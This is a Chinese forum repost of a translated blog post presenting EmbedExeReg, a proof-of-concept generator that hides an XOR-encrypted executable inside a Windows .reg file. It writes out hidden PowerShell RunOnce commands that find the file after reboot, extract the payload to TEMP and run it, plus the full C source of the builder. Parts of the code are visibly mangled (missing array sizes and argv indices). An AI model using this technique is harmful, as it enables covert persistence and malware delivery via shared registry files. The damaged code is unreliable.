吉沃运营专员 发表于 2022-8-3 16:59:58

EmbedExeReg - 在 .REG 文件中嵌入 exe 并自动执行

英文原文:https://www.x86matthew.com/view_post?id=embed_exe_reg
今年早些时候,我发布了一个名为 "EmbedExeLnk" 的 PoC 项目 —— 该工具将生成一个包含嵌入式 EXE payload 的 Windows lnk 文件。与该项目相似,另外我创建了一个工具来生成包含 EXE payload 的 Windows 注册表 .reg 文件。

.reg 文件包含要导入的注册表项和值的纯文本列表,这意味着我们可以安排一个程序在下次启动时运行:

REGEDIT4


"StartupEntryName"="C:\\test\\program.exe"
由于 Run/RunOnce 键允许将参数传递给目标 EXE,我们可以使用它来执行脚本。以最简单的形式可以在此处插入 PowerShell 命令以从远程服务器下载并执行 EXE。但是,与之前的 .lnk PoC 一样,想更进一步,不需要额外下载。

首先将一些随机二进制数据附加到有效 .reg 文件的末尾,以查看是否会显示错误。幸运的是,注册表项已正确导入,并且没有出现错误消息 - 到达二进制数据时它静默失败。这意味着将我们的 EXE payload 附加到 .reg 文件的末尾是安全的。

现在我们有了一个包含主要 payload 的 .reg 文件,我们需要创建一个启动命令来执行嵌入式程序。由于payload 将在下次重启后执行,我们在这里遇到的第一个问题是不知道 .reg 文件在目标计算机上的存储位置。我们不想硬编码特定路径,因此我们将编写一个 PowerShell 命令来在重新启动后自行定位硬盘上的 .reg 文件。

下一个问题是我们无法直接从 .reg 文件执行 payload,因为 EXE 数据存储在文件末尾。这意味着 PowerShell 命令还需要从 .reg 文件中提取 EXE 数据,并在执行之前将其复制到单独的 .exe 文件中。

我创建了一个 PowerShell 命令来执行上面列出的所有操作 - 当直接从 cmd.exe 成功运行,但在插入 RunOnce 注册表项时根本没有执行。在花了一些时间调查此问题后,我发现 Run/RunOnce 注册表项的最大值长度似乎约为 256 个字符。如果一个值超过这个长度,它会被忽略。我的命令长度超过 500 个字符,这就解释了为什么它最初不起作用。

可以采取多种途径来解决命令长度问题,我决定在加载链中添加一个额外的 "阶段" 以实现最大的灵活性 - .reg 文件还将包含一个嵌入的 .bat 文件。原始命令中的大部分逻辑将移至 .bat 数据中,并且 RunOnce 值将包含一个简约的 PowerShell 命令来执行嵌入的批处理文件。

cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
我还对我为原始 EmbedExeLnk 项目编写的 EXE payload 使用了相同的基本 XOR 加密。

最终的 .reg 文件将具有以下结构:

<.reg data>
<.bat data>
<.exe data>
Example:

REGEDIT4


"startup_entry"="cmd.exe /c \"PowerShell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\""

\xFF\xFF

cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path (]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit

<encrypted .exe payload data>
上面的示例文件可以分为 3 个部分:

原始 .reg 数据

这会在 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 键中创建一个名为 startup_entry 的值。这将导致计算机下次启动时执行以下命令:

cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
此命令在 C:\drive 中搜索与指定文件大小 (在本例中为 0x000E7964) 匹配的 .reg 文件以定位自身,然后将这个 .reg 文件复制到 TEMP 目录中,命名为 tmpreg.bat 并执行。

该文件在初始 .reg 数据之后包含 \xFF\xFF - 这不是绝对必要的,但我添加它是为了确保注册表导入解析器失败并在此时停止。

嵌入 .bat 数据

下一个数据块包含嵌入的 .bat 命令:

cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path (]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit
此命令从当前文件的末尾提取主 EXE payload。EXE 起始点的偏移量由生成器工具硬编码 (在本例中为 640 字节)。EXE 被复制到 TEMP 目录,解密并执行。

注意:当这个 .bat 文件被执行时,它也会在到达 .bat 内容之前执行原始 .reg 文件中的行。这不应该有任何不利影响,因为它们不是有效的命令。

嵌入 .exe 数据

最后一个数据块包含加密的 .exe payload。



此方法的主要缺点是需要管理员权限才能导入 .reg 文件,另一个缺点是主 payload 在下次重新启动之前不会执行,这意味着如果用户在此之前删除 .reg 文件,它将根本不会执行。虽然不是好的做法,但由于各种原因,.reg 文件通常仍通过组织内部的电子邮件在内部共享,这意味着它们可能对对手的模拟操作有用。

全部代码:

#include <stdio.h>
#include <windows.h>

DWORD CreateRegFile(char *pExePath, char *pOutputRegPath)
{
        char szRegEntry;
        char szBatEntry;
        char szStartupName;
        BYTE bXorEncryptValue = 0;
        HANDLE hRegFile = NULL;
        HANDLE hExeFile = NULL;
        DWORD dwExeFileSize = 0;
        DWORD dwTotalFileSize = 0;
        DWORD dwExeFileOffset = 0;
        BYTE *pCmdLinePtr = NULL;
        DWORD dwBytesRead = 0;
        DWORD dwBytesWritten = 0;
        char szOverwriteSearchRegFileSizeValue;
        char szOverwriteSkipBytesValue;
        BYTE bExeDataBuffer;

        // set xor encrypt value
        bXorEncryptValue = 0x77;

        // set startup entry name
        memset(szStartupName, 0, sizeof(szStartupName));
        strncpy(szStartupName, "startup_entry", sizeof(szStartupName) - 1);

        // generate reg file data (append 0xFF characters at the end to ensure the registry parser breaks after importing the first entry)
        memset(szRegEntry, 0, sizeof(szRegEntry));
        _snprintf(szRegEntry, sizeof(szRegEntry) - 1,
                "REGEDIT4\r\n"
                "\r\n"
                "\r\n"
                "\"%s\"=\"cmd.exe /c \\\"powershell -windowstyle hidden $reg = gci -Path C:\\\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00000000} ^| select -ExpandProperty FullName -First 1; $bat = '%%temp%%\\\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\\\"\"\r\n"
                "\r\n"
                "\xFF\xFF\r\n"
                "\r\n", szStartupName);

        // generate bat file data
        memset(szBatEntry, 0, sizeof(szBatEntry));
        _snprintf(szBatEntry, sizeof(szBatEntry) - 1,
                "cmd /c \"powershell -windowstyle hidden $file = gc '%%temp%%\\\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path (]($file^| select -Skip 000000)) -Encoding Byte; ^& $path;\"\r\n"
                "exit\r\n", bXorEncryptValue);

        // create output reg file
        hRegFile = CreateFile(pOutputRegPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if(hRegFile == INVALID_HANDLE_VALUE)
        {
                printf("Failed to create output file\n");

                return 1;
        }

        // open target exe file
        hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if(hExeFile == INVALID_HANDLE_VALUE)
        {
                printf("Failed to open exe file\n");

                // error
                CloseHandle(hRegFile);

                return 1;
        }

        // store exe file size
        dwExeFileSize = GetFileSize(hExeFile, NULL);

        // calculate total file size
        dwTotalFileSize = strlen(szRegEntry) + strlen(szBatEntry) + dwExeFileSize;
        memset(szOverwriteSearchRegFileSizeValue, 0, sizeof(szOverwriteSearchRegFileSizeValue));
        _snprintf(szOverwriteSearchRegFileSizeValue, sizeof(szOverwriteSearchRegFileSizeValue) - 1, "0x%08X", dwTotalFileSize);

        // calculate exe file offset
        dwExeFileOffset = dwTotalFileSize - dwExeFileSize;
        memset(szOverwriteSkipBytesValue, 0, sizeof(szOverwriteSkipBytesValue));
        _snprintf(szOverwriteSkipBytesValue, sizeof(szOverwriteSkipBytesValue) - 1, "%06u", dwExeFileOffset);

        // find the offset value of the total reg file length in the command-line arguments
        pCmdLinePtr = (BYTE*)strstr(szRegEntry, "_.length -eq 0x00000000}");
        if(pCmdLinePtr == NULL)
        {
                // error
                CloseHandle(hExeFile);
                CloseHandle(hRegFile);

                return 1;
        }
        pCmdLinePtr += strlen("_.length -eq ");

        // update value
        memcpy((void*)pCmdLinePtr, (void*)szOverwriteSearchRegFileSizeValue, strlen(szOverwriteSearchRegFileSizeValue));

        // find the offset value of the number of bytes to skip in the command-line arguments
        pCmdLinePtr = (BYTE*)strstr(szBatEntry, "select -Skip 000000)");
        if(pCmdLinePtr == NULL)
        {
                // error
                CloseHandle(hExeFile);
                CloseHandle(hRegFile);

                return 1;
        }
        pCmdLinePtr += strlen("select -Skip ");

        // update value
        memcpy((void*)pCmdLinePtr, (void*)szOverwriteSkipBytesValue, strlen(szOverwriteSkipBytesValue));

        // write szRegEntry
        if(WriteFile(hRegFile, (void*)szRegEntry, strlen(szRegEntry), &dwBytesWritten, NULL) == 0)
        {
                // error
                CloseHandle(hExeFile);
                CloseHandle(hRegFile);

                return 1;
        }

        // write szBatEntry
        if(WriteFile(hRegFile, (void*)szBatEntry, strlen(szBatEntry), &dwBytesWritten, NULL) == 0)
        {
                // error
                CloseHandle(hExeFile);
                CloseHandle(hRegFile);

                return 1;
        }

        // append exe file to the end of the reg file
        for(;;)
        {
                // read data from exe file
                if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
                {
                        // error
                        CloseHandle(hExeFile);
                        CloseHandle(hRegFile);

                        return 1;
                }

                // check for end of file
                if(dwBytesRead == 0)
                {
                        break;
                }

                // "encrypt" the exe file data
                for(DWORD i = 0; i < dwBytesRead; i++)
                {
                        bExeDataBuffer ^= bXorEncryptValue;
                }

                // write data to reg file
                if(WriteFile(hRegFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
                {
                        // error
                        CloseHandle(hExeFile);
                        CloseHandle(hRegFile);

                        return 1;
                }
        }

        // close exe file handle
        CloseHandle(hExeFile);

        // close output file handle
        CloseHandle(hRegFile);

        return 0;
}

int main(int argc, char *argv[])
{
        char *pExePath = NULL;
        char *pOutputRegPath = NULL;

        printf("EmbedExeReg - www.x86matthew.com\n\n");

        if(argc != 3)
        {
                printf("Usage: %s \n\n", argv);

                return 1;
        }

        // get params
        pExePath = argv;
        pOutputRegPath = argv;

        // create a reg file containing the target exe
        if(CreateRegFile(pExePath, pOutputRegPath) != 0)
        {
                printf("Error\n");

                return 1;
        }

        printf("Finished\n");

        return 0;
}
页: [1]
查看完整版本: EmbedExeReg - 在 .REG 文件中嵌入 exe 并自动执行